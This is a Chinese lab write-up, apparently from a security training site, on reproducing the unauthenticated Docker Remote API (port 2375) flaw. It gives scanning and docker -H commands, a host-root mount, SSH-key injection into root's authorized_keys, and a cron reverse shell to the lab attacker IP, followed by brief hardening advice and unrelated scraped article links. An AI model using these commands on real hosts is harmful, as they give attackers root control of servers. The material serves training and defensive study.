Docker未授权漏洞复现(合天网安实验室)

article/2025/3/4 0:30:47

简介

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。

一个完整的Docker有以下几个部分组成:

1.DockerClient客户端

2.Docker Daemon守护进程

3.Docker Image镜像

4.DockerContainer容器

漏洞成因

  又叫Docker Remote API未授权访问漏洞,此API主要目的是取代命令行界面;Dcoker swarm是docker下的分布化应用的本地集群,开放2375监听容器时,会调用这个API,方便的docker集群管理和扩展(绑定在0.0.0.0上,http会返回404page not fount)

漏洞影响

攻击者利用 dockerclient 或者 http 直接请求就可以访问这个API,可能导致敏感信息泄露,也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。

实验环境

目标机器: CentOS7+Docker、IP:10.1.1.200

攻击机器:Kali+Docker、IP:10.1.1.100

1.通过nmap对目标进行信息收集,发现如下端口开放

22端口:ssh默认端口

2375端口:docker远程操控(通过这个端口对远程docker deaom进行操作)

nmap -p- -sV T4 10.1.1.200


 2. 已知目标开放2375端口,通过浏览器进行访问,

如果页面显示message "page not found" 代表存在漏洞

10.1.1.200:2375

3. 如若页面空白显示
01.可以通过info获取docker信息

10.1.1.200:2375/info

 02.获取image列表

进行docker未授权访问漏洞利用

1. 使用docker命令连接目标机器

01.通过docker client使用-H参数连接目标主机的docker,

并使用ps -a命令查询目标系统运行的所有容器

docker -H tcp://10.1.1.200 ps -a      #列出所有容器

列出所有镜像:docker -H tcp://10.1.1.200 images

进入容器的方法一:

01.首先docker client连接目标,ps -a 查看哪些容器已经停止

 02.通过start命令启动一个已经停止的容器

docker H tcp://10.1.1.200 start 3dc8d67b679d

 03.attach命令连接一个已经启动容器

docker H tcp://10.1.1.200 attach  3dc8d67b679d

这样就能够获得一个docker容器的shell

方法二:

新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker)

docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像id)

Docker未授权写入ssh公钥获得shell

01.启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载),之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。

首先kali生成id_rsa公钥:ssh-keygen -t rsa

02.查看密钥

cat  /root/.ssh/id_rsa.pub

 03.将生成公钥写入到目标/root/.ssh/authorized_keys文件中:

先进入容器:docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba

将生成公钥写入到目标/root/.ssh/authorized_keys文件中:

>这个代表的意思为覆盖,>>代表为追加
此处的路径为之前所挂载的路径,如果挂载root路径那就为/root/root/.ssh

写入后即可通过ssh进行连接,获取宿主机的shell:

ssh root@10.1.1.200 -i id_rsa

Docker未授权写定时任务获得shell

启动一个容器,挂载宿主机的目录(此前已挂载),之后将反弹shell的脚本写入到/etc/crontab中,攻击机nc -lvvp port会得到一个反弹的shell。

将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)

1.Kali开启监听:nc -lvvp 1212

2.写入反弹shell的脚本

echo"* * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/1212 0>&1" > /mnt/var/spool/cron/root
#*****为定时任务 此处为每分钟执行一次 /bin/bash -i >& /dev/tcp/10.1.1.101/1212 0>&1

获得目标shell

 

修复建议

1.设置ACL,只允许信任ip连接对应端口
2.开启TLS,使用生成的证书进行认证:
https://docs.docker.com/engine/security/protect-access/

如有问题,欢迎留言。


http://chatgpt.dhexx.cn/article/lm4w70xG.shtml

相关文章

合天网安 CTF之第六周-套娃一样的上传

合天网安 CTF之第六周-套娃一样的上传 一、实验目的 本实验无writeup,需要同学们发挥自己所学,拿下最终目标 二、实验环境 目标机:Centos7 IP地址:10.1.1.147:5006 攻击机:win7 IP地址:随机分配 要求…

合天网安就业班_【合天网安实验室】SQL注入入门一

标签: 时间:2015年1月17日 实验平台:合天网安实验室.Web应用安全.SQL注入实验一 实验环境:ApachePHPMysql 实验原理: SQL注入是一种将SQL代码插入或添加到应用的输入参数中的攻击,之后再将这些参数传递给后…

合天网安 Weekly CTF 刷题合集

Weekly CTF 第一周:神奇的磁带尝试思路题解 第二周:就差一把钥匙题解 第三周:迷了路题目题解 第四周:Check your source code题目题解 Weekly CTF:课程:Weekly CTF(合天网安实验室) (hetianlab.com) 第一周&#xff1…

合天网安的渗透测试考核过程

首先拿到考核内容的ip之后,我们首先进行渗透测试的第一个内容就是 信息收集: 使用kali自带的dirb对目标网站进行一个扫描,同理,类似的软件还有dirsearch 当然,这里使用自带的也可以用,个人感觉&#xff0…

BurpSuite实战——合天网安实验室学习笔记

burpsuite是一款功能强大的用于攻击web应用程序的集成平台,通常在服务器和客户端之间充当一个双向代理,用于截获通信过程中的数据包,对于截获到的包可以人为的进行修改和重放。 此BurpSuite实战主要包括两个实验:分别是使用burp进…

数据取证三剑客 ——合天网安实验室学习笔记

实验链接 通过该实验了解文件恢复、数据提取的相关技术及应用、熟练掌握三款相关开源工具foremost、scalpel、bulk_exetractor的使用。 链接:http://www.hetianlab.com/expc.do?ce6ca30fb8-e0c2-41f3-8335-731e91774df4 实验简介 实验所属系列: 数据…

开发神器之BeyondCompare4.0工程代码比较工具

超好用文件对比工具 – Beyond Compare 具备的丰富实用功能: - 并列比较文件夹、FTP 网站或 Zip 文件; - 为以后的比较保存快照; - 类似浏览器的界面; - 可扩展子文件夹; - 隐藏比较不需要的文件夹; …

6 款代码对比工具

点击上方“朱小厮的博客”,选择“设为星标” 后台回复”加群“获取公众号专属群聊入口 来源:rrd.me/fTS4c 在程序开发的过程中,程序员会经常对源代码以及库文件进行代码对比,在这篇文章里我们向大家介绍六款程序员常用的代码比较工…

Monaco-Editor在Vue中使用(实现代码编辑与diff代码比较)

Monaco在线代码编辑器使用总结 1.什么是Monaco Monaco编辑器是为VS代码提供支持的代码编辑器官方API文档 2.Monaco Editor安装及使用 2.1安装 npm install monaco-editor --save-devnpm install monaco-editor-webpack-plugin --save-dev2.2配置vue.config.js const Mona…

程序员必备 代码比较工具 Beyond Compare 4

封面图 推荐一个代码比较工具,名字叫 Beyond Compare 4,真得很好用,选择两个文件夹,然后两边会同步打开都有的文件夹/文件,打开文件后,标有红色的地方就是两个文件的不同处。唯一缺点就是试用期只有 30 天&…

代码对比工具,我就用这6个!

点击上方“程序猿技术大咖”,关注并选择“设为星标” 回复“加群”获取入群讨论资格! 程序开发的过程中,程序员会经常对源代码以及库文件进行代码对比,在这篇文章里我们向大家介绍六款程序员常用的代码比较工具。 WinMerge WinMer…

代码对比工具,我就用这 6 个!

作者:yueliang2100 blog.csdn.net/yueliang2100/article/details/82190257 在程序开发的过程中,程序员会经常对源代码以及库文件进行代码对比,在这篇文章里我们向大家介绍六款程序员常用的代码比较工具。 1、WinMerge WinMerge是一款运行于W…

代码比较工具-beyond Compare4.0

超好用文件对比工具 – Beyond Compare 具备的丰富实用功能: - 并列比较文件夹、FTP 网站或 Zip 文件; - 为以后的比较保存快照; - 类似浏览器的界面; - 可扩展子文件夹; - 隐藏比较不需要的文件夹; …

程序员喜欢的5款最佳代码比较工具

俗话说:三句不离本行,对于程序员这个可爱的群体来说也是一样,即使面对无休无止的编程工作,程序员们依旧任劳任怨的埋头苦干,梦想着用自己码下的代码改变世界。工欲善其事,必先利其器,每一位程序员都有自己私…

几款比较常用的代码比较工具

文章来源:分享几款比较常用的代码比较工具 俗话说:三句不离本行,对于程序员这个可爱的群体来说也是一样,即使面对无休无止的编程工作,程序员们依旧任劳任怨的埋头苦干,梦想着用自己码下的代码改变世界。工欲…

Beyond Compare 代码比较工具

一、下载 官网下载地址: https://www.scootersoftware.com/download.php 选择 Windows 系统,简体中文版本,点击下载。 下载完成 二、安装 步骤1:双击安装包 步骤2:进入安装向导,点击下一步 步骤3&a…

分享几款比较常用的代码比较工具

公众号关注 “大鱼机器人” 设为 “星标”,重磅干货,第一时间送达! 素材来源:网络 作者:yueliang2100 整理:strongerHuang 俗话说:三句不离本行,对于程序员这个可爱的群体来说也是一…

程序员代码对比工具,就用这7个!

来源公众号:搜云技术库 在程序开发的过程中,程序员会经常对源代码以及库文件进行代码对比,在这篇文章里我们向大家介绍7款程序员常用的代码比较工具。 一、WinMerge 图片 WinMerge是一款运行于Windows系统下的文件比较和合并工具,…

代码比较工具Beyond Compare 4(亲测有效)

代码比较工具Beyond Compare 4 一、便携免安装破解版,下载地址: 链接:https://pan.baidu.com/s/1vGKnPh6WMhk_bYJyJyKqXw 提取码:dasf 复制这段内容后打开百度网盘手机App,操作更方便哦 便携免安装破解版&#xff0…

程序员常用的代码比较工具,你更喜欢哪款?

目录 💡 Linux 命令行的对比工具 一. diff 二. vimdiff命令 💡 GUI 比对工具 三. WinMerge 四. Diffuse 五. Code Compare 六. Beyond Compare 七. UltraCompare 八. Altova DiffDog 九. Kompare 十. Meld 十一. XXdiff 十二. KDiff3 十…